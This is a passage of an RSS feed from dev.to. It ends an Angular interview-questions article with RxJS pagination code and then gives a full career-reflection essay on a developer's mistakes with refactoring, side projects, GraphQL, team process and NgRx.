            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getMessages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;EMPTY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="p"&gt;})),&lt;/span&gt;
        &lt;span class="nf"&gt;catchError&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;})),&lt;/span&gt;
        &lt;span class="nf"&gt;startWith&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
      &lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nf"&gt;scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;acc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;curr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;acc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;curr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;MessageChat&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;initialValue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;nextScroll&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paginationOffset$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loadedMessages&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code above represents a recursive API-based pagination pattern. Every time the user triggers &lt;code&gt;nextScroll()&lt;/code&gt; (for example, by clicking a "Load More" button), the number of already-loaded messages is emitted into the &lt;code&gt;paginationOffset$&lt;/code&gt; subject. Inside the &lt;code&gt;loadedMessages&lt;/code&gt; signal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;exhaustMap&lt;/code&gt; ignores new emissions until the current inner observable completes. The user is unable to load more data until the first batch completes.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;expand&lt;/code&gt; is used to recursively call the API multiple times. We assume each call returns 20 messages. Using &lt;code&gt;expand&lt;/code&gt;, we can simulate loading three pages in one shot (initial call + two recursive calls).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;scan&lt;/code&gt; accumulates all the loaded messages into one stream without losing previously fetched ones.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;catchError&lt;/code&gt; ensures that any failed API call doesn't break the chain.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;startWith&lt;/code&gt; ensures the stream emits an initial empty state, avoiding undefined references.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Other notable questions may be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Describe a time you had to refactor legacy code in Angular — how did you approach it?&lt;/li&gt;
&lt;li&gt;How do you handle code scalability and performance in large Angular apps?&lt;/li&gt;
&lt;li&gt;What is OnPush change detection and when would you use it?&lt;/li&gt;
&lt;li&gt;What's the difference between &lt;code&gt;combineLatest&lt;/code&gt;, &lt;code&gt;withLatestFrom&lt;/code&gt;, and &lt;code&gt;forkJoin&lt;/code&gt; and how would you decide which to use?&lt;/li&gt;
&lt;li&gt;What is you approach to testing, what mocking library do you use?&lt;/li&gt;
&lt;li&gt;How would you migrate an existing app to standalone components and Signals gradually?&lt;/li&gt;
&lt;li&gt;What is hydration, how you enable it, why is it needed?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Overall, these are the types of questions I lean toward. However, the most important one we always ask at the end is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“Can you tell us about some more complex feature you have worked on in the past 1–2 years? What was the problem, and how did you solve it?”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The candidate may be missing some Angular specific knowledge, but they may have faced challenging problems, possibly even ones we're currently facing. Prior experience solving real problems often outweighs deep framework trivia, which can be learned over time.&lt;/p&gt;

&lt;p&gt;Ultimately, it depends on your company's needs. Do you need a strong Angular expert who can refactor and migrate legacy code while minimizing future tech debt? Or are you looking for someone to join a broader team, where they'll grow with support from others? Decide for yourself.&lt;/p&gt;

&lt;p&gt;Feel free to share your thoughts, catch more of my articles on&amp;nbsp;&lt;a href="https://dev.to/krivanek06?ref=angularspace.com"&gt;dev.to&lt;/a&gt;, connect with me on&amp;nbsp;&lt;a href="https://www.linkedin.com/in/eduard-krivanek?ref=angularspace.com" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&amp;nbsp;or check my&amp;nbsp;&lt;a href="https://eduardkrivanek.com/?ref=angularspace.com" rel="noopener noreferrer"&gt;Personal Website&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F48om1xw43ht0lw8cb7t5.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F48om1xw43ht0lw8cb7t5.jpg" alt=" " width="800" height="514"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>angular</category>
      <category>interview</category>
      <category>frontend</category>
      <category>rxjs</category>
    </item>
    <item>
      <title>The Need Of Failing Before Succeeding</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Wed, 11 Jun 2025 10:31:54 +0000</pubDate>
      <link>https://dev.to/playfulprogramming/the-need-of-failing-before-succeeding-345c</link>
      <guid>https://dev.to/playfulprogramming/the-need-of-failing-before-succeeding-345c</guid>
      <description>&lt;p&gt;I used to think the whole try-and-fail wording was just a catchy phrase people threw around to sound deep. Turns out it has some truth to it and the fail part is very real. Failing sucks, and many times, It's not just some feel good “learning opportunity”. It usually comes with blame, criticism, and mainly taking responsibility for your actions.&lt;/p&gt;

&lt;p&gt;I feel like in tech we don't share our experiences so often, even if some may come with valuable lessons, therefore I wanted to write a smaller article where I'll share some of my own screw-up decisions I was sure were right (they weren't), the lessons they taught me, and how I became a senior developer by age 27. I want to underline that these are my personal experiences, not universal rules. Every project has its own variables, such as people, tech stack, timeline, and budget. What failed for me might work perfectly for someone else under different circumstances. Hope these short stories will show you that we all suck, and being a senior dev just means you've made enough bad calls to know which ones to avoid next time. The article was initially published on &lt;a href="https://www.angularspace.com/the-need-of-failing-before-succeeding/" rel="noopener noreferrer"&gt;Angular Spaces&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quick Refactoring
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;“hmm, look at that, old code - I should refactor this, doesn't look that complicated”.&lt;/em&gt; &lt;/p&gt;

&lt;p&gt;Classic mistake only juniors make, right? Well, I've made this mistake at least once a year for the past seven years. Every. Single. Time. And somehow, it was always more complicated than I initially thought.&lt;/p&gt;

&lt;p&gt;First, you have to convince your manager to allocate time. Believe me, he wants nothing else to hear just why exactly we need to change an already existing production code, used by thousands of paying customers, just because you don't like the syntax. Good luck selling that. &lt;/p&gt;

&lt;p&gt;Even if you manage to sell the idea, then what? You've got a deadline. Are you 100% sure you understand every edge case in that old legacy code? No? Are there tests? Probably not. So now you're hoping, that your shiny new version doesn't explode. And when it does, you just became the responsible person for it.&lt;/p&gt;

&lt;p&gt;Worst case scenario? You're deep in your “harmless little refactor,” missing your deadlines, stress levels through the roof, burning unpaid overtime to fix a mess you created entirely voluntarily.&lt;/p&gt;

&lt;p&gt;Refactoring isn't bad. In fact, it's often necessary for long-term maintainability. Simple refactoring might include upgrading dependencies, where newer library versions can fix some security issues or reduce the overall bundle size through optimizations like tree-shaking. Other small refactors with high impact can include reducing repeated DOM access inside loops, extracting duplicated logic into reusable functions, or replacing nested callbacks with async/await for readability.&lt;/p&gt;

&lt;p&gt;However, be aware of the risks you're walking into. If you don't fully understand the purpose and scope of the code, don't refactor it blindly. Always have a clear reason for the change, ideally with your manager's blessing. It's critical to understand why the code exists in its current form and what edge cases it handles.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pushing Side Projects
&lt;/h2&gt;

&lt;p&gt;Everyone tells you side projects are essential. They help you learn new tech, experiment freely, and build confidence without the pressure of deadlines. The problem starts when you delude yourself into thinking your side project is definitely the next unicorn SaaS startup.&lt;/p&gt;

&lt;p&gt;My most “educational failure” was an app called GGFinance. It started as my Master's thesis and later turned into a long nights work. The concept was decent - a stock portfolio simulator aimed at schools. Students were creating a fake portfolio by trading stocks and the app was calculating many financial metrics, displayed in charts (people like charts), and students competed with each other. I even made &lt;a href="https://www.youtube.com/watch?v=77E7O_Zu4tA" rel="noopener noreferrer"&gt;a YouTube video&lt;/a&gt; about it. The app is long gone, of course.&lt;/p&gt;

&lt;p&gt;I had examples, eToro, XTB, various data-vizualizations apps, so clearly, my idea had needed to work. Or so I thought.&lt;/p&gt;

&lt;p&gt;I learned that having users does not automatically mean you'll make money. Turns out, building a profitable product requires an actual business plan. Who would have thought.&lt;/p&gt;

&lt;p&gt;I thought if I built it, customers would come, and pay. No. You need marketing, user research, pricing strategies, customer support... basically everything besides development. I invested 1,500+ hours in that app. Worth it? For the tech lessons, yes. I was optimizing the app, solving many edge-cases, and from the tech side, it was the most complex and best learning experience. For the revenue? I only saw red numbers. Most projects fail, and it still surprises us, that our idea does too. And just because you put more work into something it still does not mean it will succeed. Sometimes we have to admit our loss and move on. &lt;/p&gt;

&lt;p&gt;Still, I'll always advocate for side projects. Not because they'll make you rich, but because they'll make you better. Company projects tend to revolve around the same stack, the same patterns, and often avoid "risky" experiments, for a good reason. It's easy to stagnate. Side projects give you space to try a new framework, build something from scratch, and break stuff without consequences. You'll learn faster because you're the one making the decisions. And sure, it might be exhausting after a long workday, but even dedicating a couple of hours a week keeps you sharp.&lt;/p&gt;

&lt;h2&gt;
  
  
  Over-Evaluating Your Skills
&lt;/h2&gt;

&lt;p&gt;I started my career as an IT helpdesk guy just before my twenties. It was a small company, around 100 people, only 2 of us on the helpdesk. We were receiving every user request thought an email. It was hard to track time, status and who was working on what. And some email occasionally even got “lost” if the request was too hard on us.&lt;/p&gt;

&lt;p&gt;I was already learning some PHP, Jquery and MySQL, and then I came up with a brilliant idea to create an internal ticketing tool, a small Jira.&lt;/p&gt;

&lt;p&gt;Enter the Dunning-Kruger effect. I massively overestimated my abilities. I thought, how hard could it be? A few forms, some login logic, slap on a bit of CSS, done. Instead, I ended up learning how little I actually knew, especially about things like async flows, multi-role authentication, and database design. For my first attempt I designed the database with 5 tables, shipped the product after some uncomfortable long time, and felt like a genius. &lt;/p&gt;

&lt;p&gt;The app was ~working. I felt excited as the application was growing and slowly the whole company started to use it; however, new and new feature requests were coming in, and as the only coding guy, I had to solve them all. Over the next two years, the project went through multiple iterations, and I even wrote a custom script to migrate my 5-table database structure into a new 25-table one. Thankfully, at the time we only had 400 tickets, but man, database migrations are the worst.&lt;/p&gt;

&lt;p&gt;This project had its ups and downs. The fascinating part is that even five years after my last commit, it is still in use, making it my most successful solo project. But it had its cost with plenty of frustrations, lots of learning, and many weekends spent coding while studying at University. &lt;/p&gt;

&lt;p&gt;I learnt that before promising the stars, make sure you understand the destination, and at least have a rough idea of how to get there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using The New Shiny Tech
&lt;/h2&gt;

&lt;p&gt;Once, I was assigned as the frontend dev on a greenfield project. We got to pick the stack. I had been playing with GraphQL during weekends and loved how flexible it was. You shape your own queries, it generates TypeScript types. What's not to like?&lt;/p&gt;

&lt;p&gt;So, I thought: “If it works in my toy projects, it'll be perfect for this big production app too”. Backend team was on board. Management was convinced. We were ready to change the world.&lt;/p&gt;

&lt;p&gt;Fast-forward 4–5 months. Everything works fine... on localhost. Then we move to real servers and suddenly, queries are slower than a government website. Now what? Turns out GraphQL's has its infamous N+1 problem, where it hammers the database with calls for every nested entity. We spent another 3-4 months optimizing queries and rethinking everything.&lt;/p&gt;

&lt;p&gt;Now, similarly as in the &lt;strong&gt;Over-Evaluating Your Skills&lt;/strong&gt; section, what did I do wrong here? For starters, I was learning GraphQL for 3-4 weeks. I quickly scanned the documentation (who needs docs, am I wrong?) and I used this tech on a small project on localhost. We sold GraphQL to the company based on our excitement, not a deep understanding of how it worked, and we ignored some cautious voices from teammates. Keep in mind that once you push a new tech in a project, you may became the responsible person for it. Being the go-to guy is not bad, if you know what you do. The problem becomes when you spend 2 hours learning a new library and thinking you mastered it.&lt;/p&gt;

&lt;p&gt;I would like to emphasise that I don't think GraphQL is a bad technology. The company I work for now uses GraphQL in one project, and all I hear is positive feedback. It's a bit like using Angular without OnPush and then blaming Angular for being slow — the tool isn't the problem, the implementation is.&lt;/p&gt;

&lt;p&gt;This is more of a story of me, a young, naive developer seeing a new tech through rose-colored glasses, only reading the praise, not understanding the full picture, and convincing others to take it to production.&lt;/p&gt;

&lt;h2&gt;
  
  
  Not Asking For Help
&lt;/h2&gt;

&lt;p&gt;Back in my early days, I wanted to be a Java developer because, well, that's what they taught at University. Then one day at work, I was given a tiny frontend task. Create a dashboard with two pages. One to display external links as buttons and one to display admin logs in a table.&lt;/p&gt;

&lt;p&gt;For an experienced person this would be 1-2 days of work. I was working on it for 4 weeks. The reason? Since I was new in web, I had no idea what CORS, Proxy, JWT token, Cookies, Sessions, Application State event meant… and it was a first time I heard that javascript have libraries - Angular/React?&lt;/p&gt;

&lt;p&gt;Instead of asking for a help of my colleagues, I started googling and went down to a rabbit hole of information. There is a fine line between “I don't want to look stupid so I will google it” and “I have no idea what I am doing”. &lt;/p&gt;

&lt;p&gt;Junior developers often let ego get in the way. We'd rather spend 40 hours creating a terrible solution ourselves than ask for help and risk looking clueless for 5 minutes.&lt;/p&gt;

&lt;p&gt;In the end with tears in my eyes I went to my superior and asked him for helped. He scolded me like a 12 year old child for waiting such a long time, but we solved all problems.&lt;/p&gt;

&lt;p&gt;Now, as a senior, I've learned that saying “I don't know” is not a weakness. It's efficiency. It means I know when to ask the right person for help and move on.&lt;/p&gt;

&lt;p&gt;It's worth mentioning that not asking for help has a dark opposite - asking for help too much. When you're new to a team, it's totally okay, even expected, to ask questions or get clarification when you're stuck. But be mindful of how you ask.&lt;/p&gt;

&lt;p&gt;You don't want to turn your colleague into your personal Google and just wait for them to hand you answers. Instead, always share what you've already tried or the approaches you're considering. That way, your teammate can give more targeted advice and it shows that you've put in some effort before reaching out.&lt;/p&gt;

&lt;h2&gt;
  
  
  Poor Project Management
&lt;/h2&gt;

&lt;p&gt;I was so happy when I first landed my first junior programming job. I wasn't questioning anything and I thought what they were doing was the gold standard in the tech industry. Well... not exactly.&lt;/p&gt;

&lt;p&gt;I had basic Git skills — commit, push, pull, more or less what I do now. But what surprised me was that our team of five devs, were all pushed directly to the main branch. No feature branches, pull requests or code reviews. Straight up YOLO to main.&lt;/p&gt;

&lt;p&gt;As the project was heading toward a big launch, every week our managers would demo new features to the client. Weekly presentations, that created an extreme pressure on us to deliver features fast.&lt;/p&gt;

&lt;p&gt;I remember that the day before one of the presentations, I wanted to finish my task. I was doing some changes on the checkout page and commented out the payment button functionality for testing. Since no PR reviews were done, I forgot to uncomment the code, I made a commit and pushed into main. Happy with my changes I closed the PC and went home.&lt;/p&gt;

&lt;p&gt;Next day demo time. The client notices the payment button doesn't work. “But it worked last week…” Hmm. They dig into the Git log. Whose name do they see? Mine. Awesome.&lt;/p&gt;

&lt;p&gt;I received some gentle feedback, which motivated me to check each file changes before committing them.&lt;/p&gt;

&lt;p&gt;I felt horrible at the time. But looking back, the real problem wasn't one junior dev pushing a broken commit, it was a complete lack of process. No reviews or QA or checks. If a bug makes it to production, it's never just one person's fault. It means something broke in the process the team is using.&lt;/p&gt;

&lt;h2&gt;
  
  
  Letting Your Emotions The Better Of You
&lt;/h2&gt;

&lt;p&gt;We're all human (at least most of us), so no matter how many coaching sessions we attend or how many times we're told to “think before responding,” there will always be moments when emotions take over and we say something we probably shouldn't. Two classic examples are salary negotiations and PR reviews.&lt;/p&gt;

&lt;p&gt;Let's start with salary. You're doing your job and doing it well. Over time, you take on more responsibility, lead more initiatives, and help others, all while your paycheck stays the same. At first, you're okay with it. But months go by, and the frustration quietly builds. Especially in tech, where your teammate, doing the same work (or occasionally even less), might be getting paid more. One day, you snap. You storm into your manager's office (or call him on MS Teams), list everything that's wrong, demand a raise and maybe even threaten to quit.&lt;/p&gt;

&lt;p&gt;Now… was that a great strategy? Sure, you might get what you asked for, but it'll likely damage your relationship with your manager. And even if you “win,” you've created tension that can hurt you down the line. A better approach? Come prepared. Gather what you've accomplished over the past few months. Show the extra responsibilities you've taken on. Then, calmly ask if it would be fair to revisit your compensation. And remember, even if this has been bugging you for months, it's probably the first time your manager's hearing about the request. They won't have a solution immediately. You're not trying to corner them. You're trying to solve the problem together.&lt;/p&gt;

&lt;p&gt;I see this a lot, especially with junior developers. At first, they feel “lucky to have a job” and just patiently wait for their manager to bring up a raise... and nothing happens. But here's the thing, you chose this company, and they hired you because they see value in you. If they want to keep you long-term, this conversation needs to happen. You should be having regular performance reviews where you lay out your contributions. That's the perfect time to start open up this topic. It may feel awkward at first, but these small, honest talks are what prevent bigger problems later on.&lt;/p&gt;

&lt;p&gt;Now, on to PR reviews. Someone once told me code reviews are like standing naked in front of a mirror, all your flaws are right there, impossible to miss. When you submit a pull request, you usually feel pretty good about it. You expect a comment or two, but nothing major.&lt;/p&gt;

&lt;p&gt;I remember once I submitted a 200-line PR and got 50 comments. Whether I was frustrated is not even a question. I almost wrote something regrettable to that person. At least it was still in morning and I had my willpower to stop myself. I took a break, cursed a bit, and then calmly called that person to walk though the feedback. The suggestions were more about the way of writing the code, rather than the business logic. The call was long and painful, but we came to a common ground, that appealed both of us and merged the PR. &lt;/p&gt;

&lt;p&gt;Through the time I cultivated a positive mindset in a sense that nobody really wants bad for you. People just want to do their job well and sometimes they aren't the best at communicating. The message that you interpreted personally may have just been a rushed response from them. If you get angry, you need to sit with your emotions, let them pass a bit and just then start replaying. It is always you with your teammate against the problem and never you against him.&lt;/p&gt;

&lt;h2&gt;
  
  
  NgRx for State Management
&lt;/h2&gt;

&lt;p&gt;I remember around 2018 there was a big push towards NgRx State Management. As your application scales, centralizing state management with a library like NgRx can help avoid code mess and make things more predictable. The argument was that relying on a proven library reduces the risk of introducing bugs through ad hoc state logic.&lt;/p&gt;

&lt;p&gt;So I started to learn NgRx and this was the famous diagram I was staring at for a week until I thought understood what It meant.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcfemb97ypy8fzz5078ac.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcfemb97ypy8fzz5078ac.jpg" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I'm not going to explain the concept here, but let's just say it's not exactly beginner-friendly. I was trying to shift from writing imperative code to thinking declaratively, and that's a mental jump.&lt;/p&gt;

&lt;p&gt;At the time, we were refactoring our custom RxJS Observables state into this NgRx concept. It was largely driven by one external senior developer, so we didn't question his decisions that much. I assumed that I lack some knowledge to understand this higher power wisdom. &lt;/p&gt;

&lt;p&gt;But once we finished the migration, things got weird. Suddenly, our once relatively clean project had exploded in size. We had three to four times more files, and they were scattered across different folders — actions, reducers, effects, selectors, facades, and sometimes even duplicated types. What used to be a simple state update now required touching five different files, across multiple layers of abstraction. Even worse, onboarding new developers got tricky. Instead of showing them the logic in one place, we had to walk them through a mental map of how state flowed through the app.&lt;/p&gt;

&lt;p&gt;Looking back, the mistake wasn't using NgRx. The mistake was using a powerful tool without fully understanding the paradigm shift it required and underestimating the cost of added complexity for a relatively small team. NgRx isn't "bad", it shines when it is used correctly. You can have the best hammer in the world if you are unable to use it properly.&lt;/p&gt;

&lt;p&gt;Since some years have passed, I've seen NgRx introducing &lt;code&gt;Component Store&lt;/code&gt; or even &lt;code&gt;NgRx Signals&lt;/code&gt; which is a much lightweight implementation of the above picture. After some break I picked it up again and with a better understanding, and I wrote an article on &lt;a href="https://dev.to/krivanek06/angular-state-management-how-to-keep-your-sanity-1oin"&gt;Angular State Management - Imperative, Declarative, Ngrx and SignalSlice&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From myself, I worked on projects with less than 500K lines of code on the frontend, where I prefer using custom signal based solution to manage application state. That said, I now understand why libraries like NgRx exist, and when they really shine. In large-scale applications with many developers, strict separation of concerns, predictable flows, and centralized debugging become critical. NgRx's declarative pattern can help enforce consistency across teams, make testing easier, and prevent accidental side effects. It's always best to try it out yourself and draw your own conclusions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;p&gt;Honestly, and sadly, I could go on about all the mistakes I've made. But here's the real takeaway: we all screw up. Sometimes a little. Sometimes catastrophically. And that's exactly how you grow.&lt;/p&gt;

&lt;p&gt;What makes a senior developer isn't knowing all the answers. It's knowing which bad decisions to avoid because you've already lived through the fallout. Experience doesn't just teach you what to do, it teaches you what not to do.&lt;/p&gt;

&lt;p&gt;So fail. Then fail better. And maybe one day, you'll be writing blog posts like this, after you've finished crying over your failed side project. Hope you liked these short stories. Feel free to share your thoughts, catch more of my articles on &lt;a href="https://dev.to/krivanek06"&gt;dev.to&lt;/a&gt;, connect with me on &lt;a href="https://www.linkedin.com/in/eduard-krivanek" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; or check my &lt;a href="https://eduardkrivanek.com/" rel="noopener noreferrer"&gt;Personal Website&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl2bhy3x1n3trxb3lycf0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl2bhy3x1n3trxb3lycf0.png" alt=" " width="800" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>learning</category>
      <category>softwaredevelopment</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
